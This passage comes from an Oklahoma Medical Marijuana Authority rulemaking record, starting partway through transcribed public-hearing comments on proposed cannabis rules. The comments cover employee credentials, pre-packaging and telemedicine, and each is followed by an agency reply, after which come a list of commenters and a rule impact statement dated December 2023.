was a vegetable in a wheelchair and um she couldn't even walk yet I helped her daughter get the medical card and it was virtually with our doctor uh out at one of our events actually chronic paloa which you guys also come have coming down the house where you guys are trying to stop these events as well cuz you think it's just a big smoke Fest chronic paloa was actually founded for patients to help people get their medical cards um but we were able to get her her medical card at one of our outside events virtually with our doctor and I've watched that little girl go from being a vegetable sitting in a wheelchair where she actually went to prom she's able to walk she's able and she was on tons of medicine that made her not be able to do anything and just seen her do something with 4 with pigs like that's amazing so for you guys to try to take this away from children who are not just trying to get high because they want to be Stoners in high school or whatever these are children who really need it I could give you list and I've helped over 250,000 patients get their medical cards personally with my business so I could go on and on and give you guys lists and lists of children whose lives have been affected we've been able to help them stop their seizures people who are actually in um they're dying on their deathbed they can't they have no other option but to do tele medicine and this is something that's helping them transition with cancer before they die to make it easier for them and so take it away from them where they have to go and see a pH a physician when most of them won't prescribe it anyway you guys are going to kill them so don't do this to the children just because they're children they're not wanting to be potheads this is a medical medicinal thing that they need for their life so that they can flourish and hopefully grow to be human adults and I think that it's a disservice for you guys to discriminate have reer Madness on children when no other element in the state of Oklahoma you can you can use tele medicine but you can't with cannabis you guys are trying to stop it it was written that way for a reason no no qualifying conditions keep it preserved let these children live and grow up to be adults thank you

Carrie Lawrence

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to proposed legislation rather than a proposed permanent rule. It's important to note that changes to proposed legislation fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I just wanted to speak about the employee credentials uh that's going to be a killer for the businesses um we've been since February or January 14th trying to find an employee to cover our business uh here we are February 16th and we're still trying to find an employee to fill that spot um we've hired five people and they chose not to show up to work so if you enforce this employee credential it's absolutely going to slaughter us um just trying to find a qualified employee to show up and do the job is tough enough put to take 90 days to get them to come in that'll if we're running 24-hour shifts that'll kill us even an 8 hour shift if you run in two employees it'll kill the business it's a business killer uh in regards to a couple of these house bills that are coming out 1979 uh I work with pharmacist they own eight pharmacies to find a a licensed pharmacist to come in and work on a pharmacy that just puts in a two-e notice is virtually impossible uh we're trying to find a pharmacist to fill one of our Pharmacy spots right now so that we can keep the pharmacy open it's not easy um so to do that to a dispensary it's just I don't think that's the the way we need to go uh also on state Bill 1247 requires marijuana businesses to to provide notice of construction all contractors employees involved in construction of a facility no other no other field have I

ever been regulated to where I have to when I'm building something in this because I built more than dis dispensaries never have I been told that I have to provide contractor employees involved in my construction never with any industry have I had that been done I don't know why it has to be done in this industry as well they're just contractors doing a job State Bill 1634 requires all medical marijuana it's prep packaging pre packaging it's been discussed already about the mold the spores uh we've tried it before already in Oklahoma when cookies came to the state they tried to bring that to the state uh the patients hated it uh they would not buy the products it ended up sitting on the shelves going old costing a store owners thousands of dollars uh if you do that obviously it's going to you're going to run into the mold and Spore issues but also killing stores because they're having to throw products out the the door State bills 1734 requires all locations where I want to sold uh to have a a THC while pregnancy that's on every product already so why would we need that in every store uh not everybody in this industry wants to lock hords with you and fight with you uh some of us are trying our best to do our best and make sure we're doing everything right um we want to work with you and we want to make sure that this industry is done right uh we have plenty of senators that are fighting against us and want to see us go out of business please work with us and don't come against us but work with us that we want to work with you.

Daniel Pratt

OMMA Evaluation:
Thank you for taking the time to share your comment. This comment relates to state statute rather than a proposed permanent rule. The requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business is mandated by SB 1704 (2022) and in state statute at 63 O.S. § 427.14b. It's important to note that changes to statutory requirements fall within the jurisdiction of the legislature and cannot be changed by OMMA. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
I'm here to disappoint everyone equally is this green button makes it get going it's on it's on it's it's on like Donkey Kong okay all right first of all I want to thank you guys for uh showing up today uh director Barry green is my favorite color so I especially appreciate the jacket um I want to touch Bas just on a couple of things real quick uh a couple of minor points of house caping uh 4210 d8 1B uh batch cleanup language uh you might look at the uh the wording in there on um there may be a typo in there also look at 442 1083 A4 um for purpose could be for the purpose so there's the nitpicking aside I'll make sure that I submit these um my eyes bled over reading these rules so you get to hear about it um the uh uh okay so uh on 442 1045 uh personally I like the move of what you have done with a uh 12in uh 12-in heighton plants and the way that that has been addressed one thing that uh uh that I like about it is that there had been ambiguity and this starts to clear up the language a little bit I also think that it's a really good move that you have allowed for during the growth process of the plant as the plant form changes that the tag can be attached to the pot that saves a lot of issues for Growers and it's something that uh you know folks you know make sure you you know get down through that rule and see that uh this agency did actually provide us some leeway perfect no progress in the right direction yes um let's see final form testing there's a uh as Ls were saying when you get a bunch of carts in there you know I know it's a tough balance but we have to look at what point we trust the supply chain ahead of us you know some of these things carts papers they may have existing coas on them that may be able to be provided I see where you're going but

especially when we get into crushing carts and doing that there are kind of a whole host of issues in there so that might be something that uh we take a look at also uh and this is uh for uh this is for my people here today one thing that I want to note is that I uh in commentary we have touched on definition of greenhouse Bond requirement om budget how those dollars are spent um process validation uh fingerprint background check um and uh the thing to know guys is that when you see all of these in the rules these are all statutory requirements the people in front of us here actually have zero choice but to put that into the rules and in the case of the fingerprint background check uh something that uh Orca as an organization advised our uh attorney general and everyone who was running that bill last year that this would not work they still drop that steaming piece of bill on omma and so what I all I'm asking guys is that there is a lot of reason for concern but what if if you know for everyone that showed up today and is as passionate about as you are today join with us to fight these things where they can be fought for example specifically pharmacist prepackage and the assault on cannabis events these are all statutory measures that it's good that our Regulators hear our concerns but let's also remember the real fight is outside of these doors and if you want those things changed if you want to keep some of these bad ideas from them falling on them and then falling on us you know let's get that energy in a positive direction again it's just one of those things and there are a lot of things in here where it's direct from statute guys so um again as an organization we generally irritate everyone equally but I've got to call it for what it is um last thing Forma we just you know guys man I'd love to see improv turnaround time on uh license renewal applications thank y'all

Jed Green

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. As it relates to the 12" tagging requirement, these proposed rules are the product of numerous conversations with a broad group of stakeholders, including the entirety of the public comment period. Moreover, 63 O.S. § 427.13(B)(1) of state statute requires OMMA "ensure that all marijuana being grown in Oklahoma is accounted for[.]" Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Persons or organizations who appeared or registered for or against the adopted rule at any public hearing held by the agency or those who have commented in writing before or after the hearing were:

Jade Peterson	James Browning
Dylan Scott	Frank Gaydusek
Jethro Tull	Shante Brown
Bryan Wenzel	Blake Beidleman
Timothy Wess	James Vandersee
James R. Adelman	Cole Alleman
Nunyabiznez	Daniel Sellers

Meagan Sales
Anthony W Smith
Remodelplano1025@Gmail.Com
Helen
Quinton Staley
Riley Carpenter
Dani Riggs
Steven Stowers
Abi Rodgers
Joyce
Jim Kelly
Michael Richards
Patricia Handley
John Dungan
Adam Barker
Mitchell Wano
Steven Brooker
Lindsay Jones
Shawn Hendershot
Dianna Hampton
John Aldridge
Devin Laird
Cindy Edgar
Gregory Menges
Doug Hill
Donna Siepiela
Kyle Kollmansberger
Sen Bin Xu
Christina Shifflett
Isaac S
David Evan Swan
Natalie Wolfe
Teresa Jordan
Robert D Johnson III
Tom Fox
Dan Marling
Karen Young
Eric Dangler
Albert Drake Jr.
John Schwindt
Robin Bradley
John Doe
Sher Garren
Elaine Hasty
Michael Ralston
Luke Janger
Chris Opie
Kent Taylor
Jessica Campbell
Veronica E Raj
Adam Ebberts
Daniel Pratt
LaFaye Caldwell
Dalia
Stephen Anders
Carolyn
David Roughley
Kenneth Zuver
Landon Andrews
Stephanie Patterson
Katelyn Wilbanks
JW Fisher
William English
Sarah Cameron
Laura Eason
Cheri Turman, PhD.
Xu(Alex} Tang
Marla Ford
Kathy Vochatzer
Ethan Criner
Elijah Kepler
Eden Whorton
Amberlyn Garay
Luke Wang
Ruth Parker
Michael Quayle
Delisa Taylor
Eric Wheeler
Connie James
Shawna Patrick
Jesse Goode
Dennis Williams
E McKinnon
Cheri Turman, PhD.

David Millikan
Toshina Williams
Kyle Bradley
Anette Horstman
Amanda Shelton
Ashley Dale
Carisa Rowe
Nicholas Blain
Sharon Brunelle
Eric Wallis
Brandon Mosley
Eric Wheeler
Shawn
Vincent
Piper Harrison
Cameron Golden
Tyler Russell
Mark Strecker
Brad Stawick
Sonia
Kevin Gallagher
Frank Joseph Gaydusek
Heather Bliss
Luke Wang
Mary Lane Porter
Summer Parker
Keith Boyd
Professional Cannibus Association
Stephen Blackburn
Kara Lee Pierce
Michael Anderson
Tommy Flynn
Amy G
Michael
Tanna Johnson
James Boyles
Paige Nelson
Susan Amanda Halbrooks
Ian Ledbetter
David Canoy
Jessica Baker
M M Covault
Krystal Deak
Kristy Benson
JonPaul
Trikelent
Taylor
Richard Amundson
Joshua Woodham
Daniel Opie
Jeremy Woods
Audri Malik
Ian Cameron
Rylee Reece
Randi Guzman
Cheri Turman, PhD.
Adam Nobles
Mitchell Harrington
Kevin Gallagher
Estelle Castro
Jeffrey Howard
Dalton Hilburn
Mohammad Mirambeigui
Geary Wilson
Matt Doerr
Kelsey Palmer
Kevin Gallagher
Nick Serrano
Joshua Grashton
Ron Durbin
Darrell Carnes
Marvin Miller
Brie Truet
Summer Aurora
Nancy Wallace
Sheena Wilton
Ron Brown
John Fraiser
Brandon Mosley
Cole Allmon
Kristin Thompson
Carrie Lawrence
Daniel Pratt
Jed Green

Katrina Collins

Agency Rule Contact:
Ashley Crall, Director of Government Affairs, Oklahoma Medical Marijuana Authority, 2501 N. Lincoln Blvd., OK 73105, 405-568-5766. Ashley.Crall@omma.ok.gov.

EXHIBIT B

RULE IMPACT STATEMENT

TITLE 442. OKLAHOMA MEDICAL MARIJUANA AUTHORITY
CHAPTER 10. MEDICAL MARIJUANA REGULATIONS

1. DESCRIPTION:

The proposed permanent rules implement legislative changes mandated by SB 18X, HB 3929, HB 4056, SB 813, SB 1704, SB 913, and HB 2095; address changes in statute under 63 O.S. § 426, 63 O.S. § 427.6, 63 O.S. § 427.14, 63 O.S. § 427.14a, 63 O.S. § 427.17, 63 O.S. § 427.19, 63 O.S. § 427.20, 63 O.S. § 427.25, and new requirements in 63 O.S. § 427.14b, 63 O.S. § 427.17a, and 63 O.S. § 427.26. The permanent rules are intended to provide a structure for the implementation of these legislative requirements. The proposed permanent rules also seek to address the risk to public health and safety posed by increasing occurrences of fires and explosions at licensed medical marijuana businesses. Further, the proposed permanent rules provide clarity on tagging, storing, testing, and retesting medical marijuana and medical marijuana products.

Amendments to OAC 442:10-8-1, OAC 442:10-8-2, OAC 442:10-8-3, OAC 442:10-8-4, and OAC 442:10-8-5 establish new laboratory testing requirements effective June 1, 2024. Amendments to OAC 442:10-5-4(l) allow the Authority to employ secret shoppers to inspect licensed commercial medical marijuana businesses. Amendments to OAC 442:10-8-5 allow the Authority to operate a quality assurance laboratory or to contract with a private laboratory. Amendments to OAC 442:10-5-1.1(f) and OAC 442:10-5-16(v) require employees of a medical marijuana business to apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business. The requirement that the Legislature receive all monies from sales tax proceeds collected on medical marijuana and all monies collected from fines and fees is added to OAC 442:10-5-7(h).

Amendments implementing changes to commercial licensing fees occur in OAC 442:10-1-4, OAC 442:10-5-2(b), OAC 442:10-5-3(e)(15), and OAC 442:10-5-6(b)(6)(A). Amendments to supplemental materials required to be submitted by licensees occur in OAC 442:10-3-1(d); OAC 442:10-4-3(e)(6); OAC 442:10-5-2(e)(2)(A)(iii); OAC 442:10-5-3(e)(9); and OAC 442:10-9-3(e)(9). OAC 442:10-1-5(a) is amended to include the national fingerprint-based background check requirement. Amendments to OAC 442:10-4-4 allow the Authority to perform unannounced, on-site inspections. OAC 442:10-5-2(b) is amended to include language regarding one medical marijuana commercial grower license issued for any one property. OAC 442:10-5-3(h) is amended to extend the dates of the current moratorium on processing and issuing new medical marijuana business licenses. OAC 442:10-5-6.1(h) is amended to include penalties for medical marijuana business licensees intentionally not remitting taxes. The prohibition that commercial growers shall not hire or employ undocumented immigrants is included in OAC 442:10-5-16(u).

The amendments require applicants for a commercial grower license to submit to the Authority a bond covering the permit area upon which the business licensee will initiate and conduct commercial growing operations or an attestation that the permit area on which the licensee operates the commercial growing operation has been owned by the licensee for at least a five (5) year period prior to submission of application. OAC 442:10-5-1.1 is amended to include the required bond or attestation and requires that information be updated. OAC 442:10-5-2(e) requires business licensees submitting material change requests to include information regarding the bond or attestation and

requires licensees notify the Authority in writing of any change to or cancellation of a bond. OAC 442:10-5-3(e)(13) adds the required grower bond or attestation to the list of supporting documentation required to be submitted by licensees. OAC 442:10-5-3.3 is a new section governing the required commercial grower bond and includes specific bond requirements and application materials required to be submitted by licensees. The prohibition that growers shall not engage in any commercial growing operations without a bond or attestation is added to OAC 442:10-5-16(t).

Subchapter 11 and OAC 442:10-11-1 establish a voluntary process validation program for commercial licensees.

Proposed permanent rule changes to clarify existing requirements for licensees regarding tagging, storing, testing, and retesting medical marijuana and medical marijuana products occur in OAC 442:10-1-4, OAC 442:10-4-5(f)(3), OAC 442:10-4-5(d)(2)(D), OAC 442:10-5-4(c), OAC 442:10-5-6(d)(2)(D), OAC 442:10-5-6(f)(3), OAC 442:10-7-1(g), OAC 442:10-9-7(b)(2)(D), and OAC 442:10-9-7(d)(3). Amendments to 442:10-5-6(c) and 442:10-5-6(d) clarify patient information required to be reported in the inventory tracking system.

2. DESCRIPTION OF PERSONS AFFECTED AND COST IMPACT RESPONSE:

Primary persons affected by the proposed rules are licensed businesses, though the Agency expects negligible impact because the majority of amendments are implementing legislation already in effect. Agency has worked to minimize cost impacts by limiting amendments, both in number and in scope.

3. DESCRIPTION OF PERSONS BENEFITING, VALUE OF BENEFIT AND EXPECTED HEALTH OUTCOMES:

Licensed businesses and patients will benefit from the proposed changes. Businesses will primarily benefit from significantly enhanced clarity throughout, as well as several amendments that are in response to feedback received from the industry. Patients will benefit from additional protections with regards to testing.

4. ECONOMIC IMPACT, COST OF COMPLIANCE AND FEE CHANGES:

The proposed permanent rules are not expected to have an economic impact, cost of compliance, or fee changes because the majority of amendments are implementing legislation already in effect.

5. COST AND BENEFITS OF IMPLEMENTATION AND ENFORCEMENT TO THE AGENCY:

The benefits to the Agency are overall clarity of rules for streamlined enforcement, greater transparency within the stream of commerce for regulatory oversight, and enhanced processes for licensed laboratories. There are no expected costs of implementation and enforcement.

6. IMPACT ON POLITICAL SUBDIVISIONS:

There is not expected to be an impact on political subdivisions.

7. ADVERSE EFFECT ON SMALL BUSINESS:

There are no expected adverse effects on small businesses.

8. EFFORTS TO MINIMIZE COSTS OF RULE:

The agency has made efforts to minimize costs by gathering input from the industry on amendments that would benefit both agency and industry, as well as limiting the number and scope of amendments.

9. EFFECT ON PUBLIC HEALTH AND SAFETY:

These proposed permanent rules will preserve the Agency's core functions to protect the health and safety of all licensees.

10. DETRIMENTAL EFFECTS ON PUBLIC HEALTH AND SAFETY WITHOUT ADOPTION:

There are no identifiable detrimental effects on public health and safety.

11. PREPARATION AND MODIFICATION DATES:

This rule impact statement was prepared on December 20, 2023.